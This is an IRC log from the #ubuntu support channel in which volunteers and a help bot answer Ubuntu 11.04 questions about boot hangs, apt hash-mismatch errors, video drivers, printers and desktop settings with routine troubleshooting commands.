[19:08] <Pici> Dr_Willis: sorry about that, I thought that was an alias for !filesystem.
[19:08] <jrib> andreaborman: you shouldn't do it.  You shouldn't be doing sudo things that often that it would annoy you.  If you think you know best, read « man sudoers » about NOPASSWD.  Again, it's not a good idea
[19:08] <usr13> andreaborman: Well, it would be ok if you do not get on the internet with it.
[19:09] <Dr_Willis> ablaze:  try booting using the 'text' option. that will disable plymouth (qwhich is the dott/animation.  when  you see the grub menu , hit 'e' edit the kernel line that has 'quiet splash' to read 'text' and see if you can boot to the console and login.
[19:09] <Dr_Willis> Pici:  :) getting to many factoids for me to rember
[19:09] <iggyology> tsimpson, have you used anything else?
[19:09] <multipass|2> is there gui svn client??
[19:09] <andreaborman> But on Windows I do not have a password. On windows it is optional. You don't have to have a password if you do not want one.
[19:09] <ablaze> i have tried recovery mode and i was able to go to the terminal mode
[19:09] <tsimpson> !files
[19:09] <ubottu> An explanation of how files and directories are organized on Ubuntu, and how they can be manipulated, can be found at https://help.ubuntu.com/community/LinuxFilesystemTreeOverview  see also: man hier
[19:09] <angelete2> hi
[19:09] <ablaze> is this matters, regarding your question ?
[19:09] <KM0201> andreaborman: stop trolling.. if windows is so great, why are you using linux?
[19:09] <usr13> andreaborman: This is not Windows.  Ok?
[19:10] <ablaze> suggestion sorry
[19:10] <angelete2> i have this in my form: http://pastebin.com/6vHnciFG
[19:10] <OneKorea> I totally admire people here dedicating to help fellow newbs, its really noble and mostly ungrateful hard work. but without you ubuntu wouldnt be what it is, good job, have a nice day!
[19:10] <tsimpson> iggyology: many things, but that's offtopic for this channel
[19:11] <crazyrohila> ThinkT510: ok
[19:11] <coz_> need to break here   be back later
[19:11] <iggyology> tsimpson, this channel is about ubuntu, see I understand that, what I'm trying to do is learn whether learning about ubuntu is a waste of my time, why are you here if you use Kubuntu?
[19:11] <andreaborman> You are right I keep forgeting-Linux is not windows. they have a different system.
[19:11] <ablaze> <Dr_Willis> I have tried recovery mode and it worked ::: i was able to go to terminal :::: should i try now with your suggestion or???
[19:11] <tsimpson> iggyology: this channel is for ubuntu technical support, ask for opinions/comments in #ubuntu-offtopic
[19:12] <iggyology> tsimpson, ok, I'm using ubuntu, it's not working, does that satisfy you?
[19:12] <k_sze> Xubuntu is stuck while trying to reboot after initial setup.
[19:12] <Sverd> Help Requested: Running ubuntu 11.04 x64, nvidia gfx adapter. Flash Videos in fullscreen freezes the computer. I have tried chromium and firefox. I have tried flash player 10.2 64 and 32 bit. I have tried enabeling/disabeling hardware acceleration.
[19:12] <iggyology> can someone help me make ubuntu work?
[19:13] <tsimpson> iggyology: "it's not working" is not a good description
[19:13] <Dattebayo> desktop efects can be enabled in netbook edition?
[19:13] <Dr_Willis> ablaze:  if recovery mode works. you may want to install irssi, and/or weechat or some other text based irc client, and come in here and try to get help on the issue.
[19:13] <iggyology> I'm using the new Natty with Unity and the launch bar is bugged. It should be put back in the beta room.
[19:13] <Dr_Willis> ablaze: personally i disable plymouth totally. that way i can see errors that happen. If recovery mode works. you could try the 'startx' command and see if the desktop loads.
[19:14] <iggyology> Ubuntu people must be too worried about their competition to admit that they have realeased something prematurely.
[19:14] <LuckyNeo> I got some problems with after installing 11.04. I think, updates should solve it. What is better to get newer updates, backports or proposed?
[19:14] <iggyology> By Ubuntu people I mean Canonical people
[19:14] <ThinkT510> iggyology: you could always try any other desktop environment if you don't get along with unity, i prefer xfce myself
[19:14] <jrib> iggyology: this channel is for *support* only.  If you want to discuss other things, there is #ubuntu-offtopic.
[19:14] <usr13> #ubunto-offtopic is a good channel with a lot of lively discussions... There are a number of us that should join and disscuss things, and the topic is quite negotiable
[19:15] <ablaze> Dr_Willis: I am not able to use the internet in recovery mode ::: for the sake of information, ubuntu is installed on another computer and i m using another computer ::: so i can use both at the same time ::: so kindly give me suggestions here and i will try them immediately on my ubuntu on other computer :::
[19:15] <Dr_Willis> Lubuntu is getting very very well done.
[19:15] <ActionParsnip> usr13: #ubuntu-offtopic you mean
[19:15] <Dr_Willis> ablaze:   if X does not start up. try 'startx' look for error messages.
[19:15] <usr13> ActionParsnip: Thanks for the correction.
[19:15] <usr13> *utubtu
[19:16] <iggyology> ThinkT510, see your the second person pushing XFCE. I'm thinking that it's currently the best desktop environment. I've also had a couple people suggest that I just go gnome classic with Compz or something like that
[19:16] <ablaze> Dr_Willis: what should I do? I didn't understand ::: sorry i m really newbie ::: i don't know about commands very well :::
[19:16] <iggyology> jrib, can you help me fix my icons to work?
[19:16] <jrib> iggyology: no
[19:16] <greywalk> hi. i specified manually a proxy server in the evolution settings, but it wont send messages through it. it just sends them using direct connection to internet. does anyone know what the cause may be? can it be related to the fact that the proxy i put requires authorization?
[19:16] <ablaze> Dr_Willis: i m just trying to google and using commands and trying to learn ubuntu in this way
[19:16] <iggyology> jrib, than go kiss a cobra
[19:18] <usr13> ablaze: Reading man files is a very good way to learn.
[19:18] <ablaze> where are these files please
[19:19] <ablaze> kindly tell me that while in recovery mode :: which option should i select to start
[19:19] <usr13> ablaze: What files?
[19:19] <Pici> !man | ablaze
[19:19] <ubottu> ablaze: The "man" command brings up the Linux manual pages for the command you're interested in. Try "man intro" at the  command line, or see https://help.ubuntu.com/community/UsingTheTerminal | Manpages online: http://manpages.ubuntu.com/
[19:19] <ActionParsnip> ablaze: what files?
[19:19] <usr13> ActionParsnip: He was asking about man files
[19:19] <ablaze> ok
[19:19] <ablaze> thanx
[19:19] <Sverd> Help Requested: Running ubuntu 11.04 x64, nvidia gfx adapter. Flash Videos in fullscreen freezes the computer. I have tried chromium and firefox. I have tried flash player 10.2 64 and 32 bit. I have tried enabeling/disabeling hardware acceleration.
[19:20] <alphamale> i tried all day to add ubuntu to grub4dos
[19:20] <alphamale> couldnt get it working
[19:20] <usr13> ablaze: You read a lot of man files and you'll be an expert in no time.
[19:20] <enzotib> hi all, i would install "timidity" with suggested packages, but --install-suggests option of apt-get do not seem to work, also -o APT::Install-Suggests=1 do not work
[19:20] <alphamale> this seemed like the easiest way to do it...
[19:20] <alphamale> https://help.ubuntu.com/community/Installation/FromLinux
[19:20] <ActionParsnip> qui
[19:21] <jcapinc> I just upgraded to 11.04 and it uninstalled my proprietary video drivers and now they cannot be found in additional drivers.  I cannot enable compositing now when I could before.  dell insperon 6400 : any suggestions?
[19:21] <AceKing> Is there any way to disable "Recent Documents" in 11.04?
[19:22] <alphamale> someone that can help me install ubuntu from a working linux system?
[19:22] <vooze> alphamale: input cd, install??
[19:23] <ivan__> what do you means of working linux system ?
[19:23] <alphamale> i have no cdrom
[19:23] <alphamale> i want to install on a usbdrive partition
[19:23] <ivan__> install from iso
[19:23] <ivan__> grub boot iso
[19:23] <alphamale> i am running puppy
[19:23] <ThinkT510> !usb | alphamale
[19:23] <ubottu> alphamale: For information about installing Ubuntu from USB flash drives, see https://help.ubuntu.com/community/Installation/FromUSBStick - For a persistent live USB install, see: https://wiki.ubuntu.com/LiveUsbPendrivePersistent
[19:23] <alphamale> grub4dos bootloader
[19:23] <alphamale> i used this site...
[19:23] <alphamale> https://help.ubuntu.com/community/Installation/FromLinux
[19:24] <ivan__> I currently using ubuntu 11.04 in a usb driver too.
[19:24] <alphamale> does the usb have to be formatted ext3?
[19:24] <ivan__> yes
[19:25] <ivan__> you can boot the iso from grub.
[19:25] <alphamale> yes i would like to boot the iso too but failed
[19:25] <ivan__> then you can install the ubuntu into your usb
[19:25] <alphamale> i have grub4dos not grub
[19:25] <ivan__> it is the same
[19:26] <botcity> AceKing,  http://ubuntuguide.net/clearprevent-recent-documents-under-files-folders-in-ubuntu-unity
[19:26] <multipass|2> !iphone
[19:26] <ubottu> For information on how to sync and add tracks to your iPod, see the guide at https://help.ubuntu.com/community/IPodHowto - For the iPhone and the iPod Touch, see https://help.ubuntu.com/community/PortableDevices/iPhone - See !RockBox for information on liberating your iPod
[19:26] <ivan__> you can google how to boot the iso image.
[19:26] <evilaim> oh man
[19:26] <evilaim> that upgrade gimped me bad
[19:27] <evilaim> I went from 10.10 with an upgrade -d
[19:27] <alphamale> i googled it
[19:27] <alphamale> found some sites but it didnt work yet
[19:27] <evilaim> soon as the install finished, all my menu's and bars went away...
[19:27] <Dr_Willis> Is there a grub2-4-dos? only grub2 can boot ISO files.
[19:27] <evilaim> then rebooted
[19:27] <evilaim> now I can't even get past grub2
[19:27] <alphamale> you can supposedly boot from iso with puppy
[19:27] <alphamale> but i messed something up
[19:27] <ivan__> or, I know vmware can boot from iso. do you think you can install the system into usb by vmware ?
[19:28] <alphamale> no idea
[19:28] <ActionParsnip> alphamale: the xpud site shows how to boot an ISO from grub2
[19:28] <Dr_Willis> I dont recall seeing puppy having that feature. Unless they moved to grub2 in it.
[19:28] <alphamale> i dont have grub2
[19:28] <alphamale> i am booting from grub4dos
[19:28] <jcapinc> I just upgraded to 11.04 and it uninstalled my proprietary video drivers and now they cannot be found in additional drivers.  I cannot enable compositing now when I could before.  dell insperon 6400 : any suggestions?
[19:28] <Dr_Willis> i have several guides on booting iso files with grub2 at http://delicious.com/dr_willis
[19:28] <jrib> jcapinc: I suggest mentioning your video card
[19:29] <nutsfornatty> anyone know how to change the login screen wallpaper on ubuntu 11.04? thanks
[19:29] <ActionParsnip> jcapinc: which video chip do you use?
[19:29] <jcapinc> ATI x1400 256mb Radeon
[19:29] <Dr_Willis> nutsfornatty:  it used tobe just the image at /usr/share/backgrounds/warty-final-ubuntu.png
[19:29] <alphamale> how about this portable linux app
[19:29] <Dr_Willis> nutsfornatty:  not sure if it still is. :) its proberly some image in that dir
[19:29] <jcapinc> I am trying to install the ATI binary driver from the software manager
[19:29] <errr> is there something I can pass at install or to grub that would keep the system from trying to mount my disks when I begin an install?
[19:30] <nutsfornatty> Dr_Willis: thanks, I'll go searching for that file. All the google hits told me to use ubuntu tweek to do it, but i dont see a 11.04 version of that app yet.
[19:30] <Dr_Willis> nutsfornatty:  i just installed ubuntu-tweak the iother day. and its works on 11.04
[19:30] <botcity> nutsfornatty, http://www.multimediaboom.com/how-to-change-login-screen-in-ubuntu-11-04/
[19:31] <nutsfornatty> thanks @ Dr_Willis & botcity
[19:32] <ActionParsnip> Considering its on the screen about 2 seconds I don't get why people put so much effort into the login screen
[19:32] <mamad> hi
[19:32] <nutsfornatty> ActionParsnip: some people want to customize. you could say the same thing about any part of the OS really
[19:33] <Gen2ly> hello, just installed was wondering... I remeber that ubuntu can save my last session... where is this again?
[19:33] <mamad> having trouble with apt-get can anyone help?
[19:33] <AceKing> botcity, thank you
[19:33] <jrib> mamad: best to just ask the channel your actual question (on a single line)
[19:33] <BlouBlou> Gen2ly: that's not ubuntu, that's xubuntu with LXDE
[19:33] <BlouBlou> err
[19:33] <BlouBlou> XFCE
[19:33] <ActionParsnip> nutsfornatty: not the wallpaper and gtk theme. You see those constantly
[19:33] <AceKing> bocity, sorry for the delay, I was away from my PC for a minute
[19:34] <Creak> hello!
[19:34] <mamad> which channel is for apt-get?
[19:34] <botcity> AceKing,  np   :)
[19:34] <Gen2ly> BlouBlou: Oh, really thought that there was a setting that saved windows positions, remembers opens apps, when you log back in again.
[19:34] <jrib> mamad: this one; just ask your question
[19:34] <nutsfornatty> ActionParsnip: I full screen most of my apps so I barely see the desktop wallpaper. :-)
[19:34] <ActionParsnip> nutsfornatty: so not really at all
[19:34] <usr13> mamad: What is your problem?
[19:34] <gp5st> is there anyway to create a tmp file that resides in memory only? without having to have a tmpfs mounted somewhere
[19:35] <nutsfornatty> mamad: apt-get would be here i think
[19:35] <Creak> i have a simple question... Is it normal that webgl doesn't work on firefox 4 (I use the nouveau drivers)
[19:35] <usr13> mamad:  You are on the correct channel. What is your problem?
[19:35] <mamad> when trying to install some packages, i get "Hash Sum mismatch" after download, have tried google, have tried other mirrors, apt-get update several times, have tried in xubunu and ubunu 11.04 this did not happen in 10.10
[19:36] <ActionParsnip> Gp5st: add a command in /etc/rc.local to make the file in /tmp
[19:36] <tertius> How do I remount an LVM in a new installation?
[19:36] <gp5st> ActionParsnip: /tmp isn't required to be mounted as tmpfs though
[19:37] <ActionParsnip> mamad: try sudo apt-get update  does it help
[19:37] <serif> goood evening to all
[19:37] <usr13> mamad: What version of ubuntu are you on?
[19:37] <serif> may i ask a ques pls
[19:37] <AceKing> botcity, I tried it.. didn't work :(
[19:37] <elijah> I grabbed gnu ddrescue from the package manager yesterday, it was v 1.11 however the latest version is 1.14, what would be the best way to upgrade to 1.14,, manually or can I use apt-get or the package manager?
[19:37] <mamad> no sudo apt-get update does not help
[19:37] <mamad> i am on 11.04
[19:37] <mikael> salut
[19:37] <mikael> sa va?
[19:38] <mang0> iceroot are you there?
[19:38] <mamad> Failed to fetch http://archive.ubuntu.com/ubuntu/pool/main/t/texlive-base/texlive-latex-base-doc_2009-11_all.deb  Hash Sum mismatch
[19:38] <mamad> E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?
[19:38] <CryptKper> Does anyone know how to correct software-center from displaying everything in a single column?
[19:38] <FoolsRun> Hi, since upgrading to 11.04 I've been receiving the following when trying to run a graphical app from command line:  "Can't connect to X11 window server using ':0' as the value of the DISPLAY variable". This worked in 10.04 by putting DISPLAY=:0  before the command. I've removed -nolisten tcp from the X start command with no luck.
[19:38] <jguzikowski> hey guys, i just updated to 11.10 but i assume from a previous configuration my clock on the top panel has a black font..how would i go about changing that?
[19:39] <ActionParsnip> gp5st: anything you put in there is in tmpfs in a default install and will be lost on reboot. You will need the commands in rc.local to recreate them each boot
[19:39] <mikael> do you speak french??
[19:39] <Pici> !fr | mikael
[19:39] <ubottu> mikael: Ce canal est en anglais uniquement. Si vous avez besoin d'aide ou voulez discuter en francais, merci de rejoindre #ubuntu-fr, ou #ubuntu-qc. Merci.
[19:39] <serif> elo ubuntu experts
[19:39] <usr13> mamad: Try:  sudo rm -rf /var/lib/apt/lists/partial/*  (See:  http://ubuntuforums.org/showthread.php?t=1729381 )
[19:39] <serif> i have a ques pls
[19:39] <spacebug-> "May the 4th be with you!" :)
[19:39] <AceKing> jguzikowski, go into appearance and choose a lighter theme
[19:40] <ActionParsnip> Mamad: ok run: sudo apt-get -f install
[19:40] <AceKing> jguzikowski, the same thing happened to me when I upgraded one of my laptops
[19:40] <mikael> do you speak french???
[19:40] <mang0> Guys, ubuntu 10.10 LiveCD isn't detecting my 2 Harddrives. This may be a bios problem, but IDK how it is ment to be in the bios....
[19:40] <serif> any deal with me
[19:40] <ablaze> searching online documentation is really a long way to solve the problem ::: can someone help me here to solve my problem ::: i m totally a newbie ::: and in this way i m learning by practicing :)
[19:40] <jguzikowski> AceKing, hahah whoops, thanks :) easy fix!
[19:40] <usr13> mamad: Yes, as ActionParsnip says,  sudo apt-get -f install    should do the trick.
[19:40] <ablaze> i would be really obliged
[19:40] <mikael> hello
[19:40] <mamad> apt-get -f install does not fix it, downloads again and gives the same error
[19:41] <usr13> mamad: Try:  sudo rm -rf /var/lib/apt/lists/partial/*  (See:  http://ubuntuforums.org/showthread.php?t=1729381 )
[19:41] <ActionParsnip> Mang0: if you run: sudo fdisk -l    do you see them there?
[19:41] <AceKing> jguzikowski, no problem. I didn't like the new layout, so I logged out and booted in Ubuntu Classic mode
[19:41] <Dattebayo> how can i install sun java?
[19:41] <botcity> AceKing, did you copy and paste the commands ?
[19:41] <nutsfornatty> be very careful with the rm command...
[19:41] <serif> streamtuner cant connect to shoutcast a long time?any solution has come up now?
[19:41] <mamad> usr13: i am trying your solution now (slow internet here)
[19:41] <mang0> ActionParsnip I'm on windows atm...
[19:41] <gp5st> ActionParsnip: yes, i know that.  I would like to create a memory resident file that isn't in a tmpfs mount
[19:41] <ActionParsnip> Dattebayo: which release?
[19:41] <AceKing> botcity, Yes, I seen a comment below that said it didn't work for them either.
[19:41] <mang0> I have run  Gpartition and it doesn't see them
[19:42] <Dattebayo> latest
[19:42] <mang0> and also Disk manager
[19:42] <igi69> @DAtevayo there are 2 ways to install java
[19:42] <usr13> Dattebayo: sudo apt-get sun-java6-plugin    #If it's the java plugin you are  after.
[19:42] <AceKing> botcity, I was almost thinking about unistalling Zeitgeist. I just don't know what repercussions it would have on anything else.
[19:42] <igi69> @Datebayo once is using the add/remove software
[19:42] <ActionParsnip> gp5st: ok run: mount  use a tmpfs from that list (not /proc)
[19:42] <eklok5000> hello
[19:43] <igi69> @datebayo
[19:43] <bobluvcheese> Hello i am having problems with installing a printer driver, I go to Canon website, download correct driver for ubuntu open it with the software centre install it and it says that the software package failed to install
[19:43] <igi69> @datebayo the other with the terminal something like sudo apt-get install java
[19:43] <FoolsRun> Does anyone knwo anything about my DISPLAY=:0 issue?
[19:43] <usr13> bobluvcheese: Did  you look to see if the driver is already there?
[19:43] <serif> any one help me pls?
[19:43] <igi69> @datebayo there is a third one from the web
[19:44] <usr13> bobluvcheese: Just do the printer configuration utility thing and see
[19:44] <eklok5000> i wanted to install Stalker (Game)...the installation under wine works fine, i got all files on my data...but when i run the exe it says, that it cant find the CD-Rom, anyone has an idea?
[19:44] <ActionParsnip> Dattebayo: in google type: java natty  use the first link
[19:44] <macs> Hello, i Wan't to know what the bashrc function is to make this "macs@li278-5:~#" Green
[19:44] <halin> I am logged in to ubuntu from command line mode using a live cd. How can I access the drives on my hard disk ?
[19:44] <bobluvcheese> I have tried add printer and it does not have my printer in the database
[19:44] <igi69> @datebayo you type www.java.com
[19:44] <serif> am i invisible?
[19:45] <ActionParsnip> Dattebayo: did you do ANY research at all to try and fix yourself?
[19:45] <nivardus> I've installed python-gdata but it doesn't seem to be including the calendar module: http://paste2.org/p/1399187
[19:45] <freakx> hi
[19:45] <usr13> bobluvcheese: What version of Ubuntu are you on?   What is the make/model of your printer?
[19:45] <freakx> i have radeon hd3200 graphic card, lcd brightness buttons doesnt work, but when i set full brightness on battery and unplug power cable, screen is going 100% bright :D how to set it as default?
[19:45] <mamad> usr13, with rm -rf /var/lib/apt/lists/partial/* i get the same error again
[19:45] <igi69> @datebayo the web will find out that your S:O is linux and i will offer a download
[19:45] <ActionParsnip> !mount | halin
[19:45] <ubottu> halin: mount is used to attach devices to directories. See also https://help.ubuntu.com/community/Mount
[19:45] <gsp2009> hello everyone. Does anyone know if there are USB drivers for motorola phones for natty?
[19:45] <igi69> @datebayo, did this help?
[19:45] <bobluvcheese> 11.04 Canon MP140
[19:45] <ksni> what should I use for testing DVB signal strength?
[19:45] <Dattebayo> i reid to dl from the  oracle websites but there was no link for my pc
[19:45] <usr13> mamad: Do you have a good connection  to the internet?
[19:46] <mamad> it's like 100KB/s
[19:46] <ablaze> i have a computer with winxp and ubuntu (through wubi) installed ::: i upgraded from 10.04 lts to 10.10 and ubuntu stops to start ::: then i used live USB and copy wubildr file to c:\ and i am able to get to the grub menu ::: but after that the computer is stucked on ubuntu screen with dots moving just below :::: i tried recovery mode and it works ::: what should I do to get back ubunto desktop pls ::: i m really a newbie ::: any help will be highly appreciate
[19:46] <bobluvcheese> the driver is called cnj filter common
[19:46] <Uklee101> hey
[19:46] <ActionParsnip> bobluvcheese: tried the canon site. They support some models in Linux
[19:46] <usr13> mamad: Well, I don't know then.
[19:46] <Dattebayo> @ActionParsnip tanx dude
[19:47] <usr13> mamad: What is the exact error message?
[19:47] <Dattebayo> natty works
[19:47] <mamad> this is strange, have been trying for 3 days, i am not new to ubuntu have been a debian/ubuntu user for ages now
[19:47] <ActionParsnip> Dattebayo: the details I gave gives 3 commands and you will have java
[19:47] <eklok5000>  i wanted to install Stalker (Game)...the installation under wine works
[19:47] <mamad> apt-get install texlive-latex-base
[19:47] <bobluvcheese> ActionParsnip:Yes I have downloaded the linux driver but the software centre says failed to install when I try to install
[19:47] <mamad> Reading package lists... Done
[19:47] <mamad> Building dependency tree
[19:47] <mamad> Reading state information... Done
[19:47] <mamad> The following extra packages will be installed:
[19:47] <FloodBot1> mamad: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[19:47] <mamad>   texlive-latex-base-doc
[19:47] <ActionParsnip> Dattebayo: can you answer my previous question please..
[19:48] <Pici> !appdb | eklok5000
[19:48] <ubottu> eklok5000: The Wine Application DB is a database of applications and help for !Windows programs that run under !WINE: http://appdb.winehq.org - Join #winehq for application help
[19:48] <usr13> mamad: Does it say:  "Failed to fetch"  and then give a URL?
[19:48] <ablaze> can someone hep me please?
[19:48] <jcapinc> ATI Mobility Radeon X1300 proprietary drivers were uninstalled when I upgraded to 11.04 and they are not in jocky and I cannot compozit now.  why is this happening?
[19:48] <usr13> ablaze: What is your problem?
[19:48] <ablaze> i have a computer with winxp and ubuntu (through wubi) installed ::: i upgraded from 10.04 lts to 10.10 and ubuntu stops to start ::: then i used live USB and copy wubildr file to c:\ and i am able to get to the grub menu ::: but after that the computer is stucked on ubuntu screen with dots moving just below :::: i tried recovery mode and it works ::: what should I do to get back ubunto desktop pls ::: i m really a newbie ::: any help will be highly appreciate
[19:49] <mamad> http://paste.ubuntu.com/603415/
[19:49] <AceKing> ActionParsnip, Do you know of anyway to disable the "Recent Documents" in 11.04? I've tried some stuff I tried  on the Internet, and something someone told me in this channel. Neither worked. I figured you may know something.
[19:49] <chromakode> my sudo seems to have stopped remembering my permission for 15 minutes, without any config change. any ideas what may have broken?
[19:49] <D-coy> wubi fail. ..
[19:49] <bobluvcheese> Hello i am having problems with installing a printer driver, I go to Canon website, download correct driver for ubuntu open it with the software centre install it and it says that the software package failed to install
[19:50] <ActionParsnip> Ablaze: try removing the quiet splash boot options
[19:50] <mamad> yes it does
[19:50] <mamad> please see http://paste.ubuntu.com/603415/
[19:50] <bobluvcheese> Hello i am having problems with installing a printer driver, I go to Canon website, download correct driver for ubuntu open it with the software centre install it and it says that the software package failed to install
[19:50] <koperino> No new release found is what I keep getting tried everything the last 3 days.....I was upgrading but then lost internet connexion and since then can't restart upgrade..Help
[19:50] <ActionParsnip> Aceking: no idea, try asking the channel
[19:50] <Marilyn_M> hi all
[19:51] <ablaze> and what should i write in place of quiet splash ::: nothing???
[19:51] <halin> ActionParsnip: thanks. Is there a way so tat sudo fdisk -l shows file one page at a time ?
[19:51] <ActionParsnip> bobluvcheese: install the in terminal and pastebin the output
[19:51] <Creak> i have a simple question... Is it normal that webgl doesn't work on firefox 4 (I use the nouveau drivers)
[19:52] <ActionParsnip> Halin: sudo fdisk -l | less  use Q to exit
[19:52] <AceKing> ActionParsnip, I have been asking since 4:00 AM. LOL. I know you helped me out a bunch of times and never steered me wrong, so I figured I'd check.
[19:52] <botcity> AceKing, sorry that did not work  http://linux.aldeby.org/ubuntu-natty-11-04-unity-clear-recent-documents.html  this has more infoinfo
[19:52] <iggyology> Can someone help me switch to Gnome classic from Unity on Ubuntu Natty?
[19:52] <AceKing> botcity, Thanks!
[19:52] <rumpe1> ablaze, nothing is fine. But if it bothers you, you could also write "noquiet nosplash" ... i guess...
[19:53] <ablaze> ok
[19:53] <igi69> Hello,  I have 2 ubuntus (2HDD) in my pc in one (ubuntu 10.10) is working the bluetooth in the other not (ubuntu 11.04), I am geting the following error" "Connection refused (111). how may I copy the configuration of the bluettoth that is working in the one that is not working? what files should I copy?. I have already posted in  http://ubuntuforums.org/showthread.php?t=1743353 or this one http://www.linuxquestions.org/questions/ubuntu-63/bl
[19:53] <Creak> iggyology: if you simply disconnect and reconnect changing the desktop to ubuntu classic (at the bottom)
[19:53] <ablaze> i m trying :::
[19:53] <FoolsRun> One more try:  Hi, since upgrading to 11.04 I've been receiving the following when trying to run a graphical app from command line:  "Can't connect to X11 window server using ':0' as the value of the DISPLAY variable". This worked in 10.04 by putting DISPLAY=:0  before the command. I've removed -nolisten tcp from the X start command with no luck.
[19:53] <Creak> iggyology: it should work
[19:53] <ActionParsnip> iggyology: log off. Click user. At the bottom of ths screen select gnome classic. Log in
[19:53] <ghostlines> hi all, I'm trying to point virt-install to my cdrom drive but -c /cdrom isn't working how should this be done?
[19:54] <mamad> usr13, do you get anything from http://paste.ubuntu.com/603415/ ?
[19:54] <iggyology> Where do I log off?
[19:54] <mamad> iggyology: top-right corner
[19:55] <usr13> Yes.
[19:55] <AceKing> botcity, It's funny, whenever I run rm ~/.local/share/zeitgeist/activity.sqlite zeitgeist-daemon --replace in Terminal, it starts to run and freezes. I am going to try the second part (remove zeitgeist) Log out and log back in and see if that works. I'll come back in and let you know
[19:55] <iggyology> I see lock screen, Switch from ubuntu, suspend, restart, shut down, system settings
[19:55] <kbrosnan> Creak: only runs on binary nvidia driver
[19:55] <Diverdude> if i have 2 series of numbers: [1 2 4 6 8 9] and [3 5 1 3 6 9]. how do i plot that with gnuplot?
[19:55]  * jiltdil thinking  did mamad tried different mirrors?
[19:55] <ablaze> when i remove quiet splash ::: there are log of messages (white on black screen) and at the ned it is stucked on enabling addition executable binary formats binfmt-support ::::: and it is written OK in front of this
[19:55] <Marilyn_M> I need help with configuration of two monitors - I have newest Ubuntu and NVIDIA GPU (drivers installed) - I have to monitors, they are wirking, but... second monitor is in, lets say, horizontal mode, is there an option in setting to turn it 90 degrees?
[19:55] <Creak> kbrosnan: ok thanks!
[19:55] <jcapinc> ATI Mobility Radeon X1300 proprietary drivers were uninstalled when I upgraded to 11.04 and they are not in jocky and I cannot compozit now.  why is this happening?
[19:55] <usr13> mamad: Try:  wget http://kw.archive.ubuntu.com/ubuntu/pool/main/p/perl/perl-modules_5.10.1-17ubuntu4.1_all.deb   #see if it tries to download the file.
[19:55] <macs> Someone Help me add some color to my vps i want the "macs@MacsFromGS:~#" to be green...
[19:56] <Marilyn_M> *vertical I meant
[19:56] <iggyology> ActionParsnip, I don't see log off in the upper right corner.
[19:56]  * jiltdil perhabs also give a try for dpkg -a  mamad 
[19:56] <koperino> Hi there Just reinstalled the whole ubuntu Maverick and tried everything but no upgrade signal to 11.04 Help
[19:56] <usr13> mamad: I'm wonderding if you're having  trouble getting the file in the first place.....?
[19:56] <mamad> i can download the packages (have done that before) but when i say dpkg -i package i get an error
[19:56] <bastidrazor> macs: in .bashrc edit your PS1 line
[19:56] <mikael> bonjour
[19:56] <macs> ok
[19:57] <mikael> comme allez vous
[19:57] <ActionParsnip> iggyology: you can restart x and it will log you off
[19:57] <mikael> ?
[19:57] <ablaze> ActionParsnip: now it is stucked on enabling additional executeable .....
[19:57] <ablaze> what to do now plz
[19:57] <mikael> do you speak french
[19:57] <mikael> ?
[19:57] <iggyology> ActionParsnip, What is restart x?
[19:57] <bastidrazor> mikael: everyone does in #ubuntu-fr
[19:57] <bretzel> Hi, ( no, google doesn't satisfy refined search:too much results) -->  I need to know how ncurses/libncursesxx have been built, with what options: MOUSE VERSION2 "-enable-ext-mouse  (wheel event support? ) ;  -enable-ext-colors ? (for 256 xterm colors support ???? I really need to know
[19:57] <CryptKper> Does anyone know how to correct software-center from displaying everything in a single column?
[19:57] <mikael> merci
[19:57]  * jiltdil perhabs mamad should giva a try to sudo dpkg-reconfigure -a   before updating
[19:58] <bretzel> Sorry for du msg .. no one can answer ?
[19:58] <Snakkah> Hi. I'm running 10.04 and trying to get Tomboy to be running at startup so I added it to my Startup Applications. The problem, however, is that the "Search All Notes" box always comes up every time I log on. How do I get Tomboy to just run in the background in the tray and not have that window come up?
[19:58] <bretzel> for du ** for duplicated
[19:58] <Snakkah> And yes, I know there's a panel app for Tomboy. I just like the systray icon more.
[19:58] <Snakkah> So I prefer to just have it running at startup.
[19:58] <igi69>  Hello,  I have 2 ubuntus (2HDD) in my pc in one (ubuntu 10.10) is working the bluetooth in the other not (ubuntu 11.04), I am geting the following error" "Connection refused (111). how may I copy the configuration of the bluettoth that is working in the one that is not working? what files should I copy?. I have already posted in  http://ubuntuforums.org/showthread.php?t=1743353 or this one http://www.linuxquestions.org/questions/ubuntu-63/b
[19:59] <ablaze> kindly help me to sort out my problem :::
[19:59] <ablaze> is there someone available to help me???
[19:59] <ablaze> plz
[19:59] <ActionParsnip> iggyology: you can use alt+k+printscrn  or you can enable trusty ctrl+alt+del in keyboard settings
[19:59] <Metroshica> how do you view contents of a zip file in command line?
[19:59] <mamad> please have a look http://paste.ubuntu.com/603424/
[20:00] <iggyology> ActionParsnip, c-a-d doesn't have a log off option
[20:01] <iceroot> Metroshica: unzip filename
[20:01] <ActionParsnip> Metroshica: read: man unzip
[20:01] <_pg_> im looking for the lightest music player/manager than can still mount and let me add songs to my iPhone. Can someone recommend one?
[20:01] <ActionParsnip> iggyology: sorry backspace not del
[20:02] <AceKing> botcity, That didn't work either. What a pain in the @ss this is!
[20:02] <igi69> @mamad sorry did you try the maybe run apt-get update or try with --fix-missing?
[20:02] <ablaze> ActionParsnip: i have tried without "quiet splash" and now it is stuck on "enabling additional executable ....." what to do now plz :::
[20:02] <mamad> yes i have done that, does not help
[20:02] <Metroshica> 1. Thank you for referring me to the man page, I already know about it though and I couldn't find what I was looking for. 2. That command just unzips the file, I want to view the contents without unzipping
[20:02] <iggyology> ActionParsnip, When I push Ctrl+Alt+Bkspc nothing happens.
[20:03] <ActionParsnip> ablaze: ok now you have a direction for enquiries. Go look what can cause that.
[20:03] <igi69> well it seems that this address http://kw.archive.ubuntu.com/ubuntu/pool/main/p/perl/perl-modules_5.10.1-17ubuntu4.1_all.deb has a problem
[20:03] <Metroshica> Well it's unzip -l, just found it
[20:03] <Froq_> how do I remove unity????
[20:03] <igi69> @mamad somthing like http://kw.archive.ubuntu.com/ubuntu/pool/main/p/perl/perl-modules_5.10.1-17ubuntu4.1_all.deb a problem with the 5sum=
[20:04] <alanonymous> question:  I may be missing something, but in gnome3, can you really not move the launcher bar?
[20:04] <ablaze> and how should i do that plz??? how to do that???
[20:04] <ActionParsnip> iggyology: like i said. It needs ENABLING in keyboard settings
[20:04] <mamad> igi69: same thing happens when i use other mirrors
[20:04] <ActionParsnip> Ablaze: research, use the web
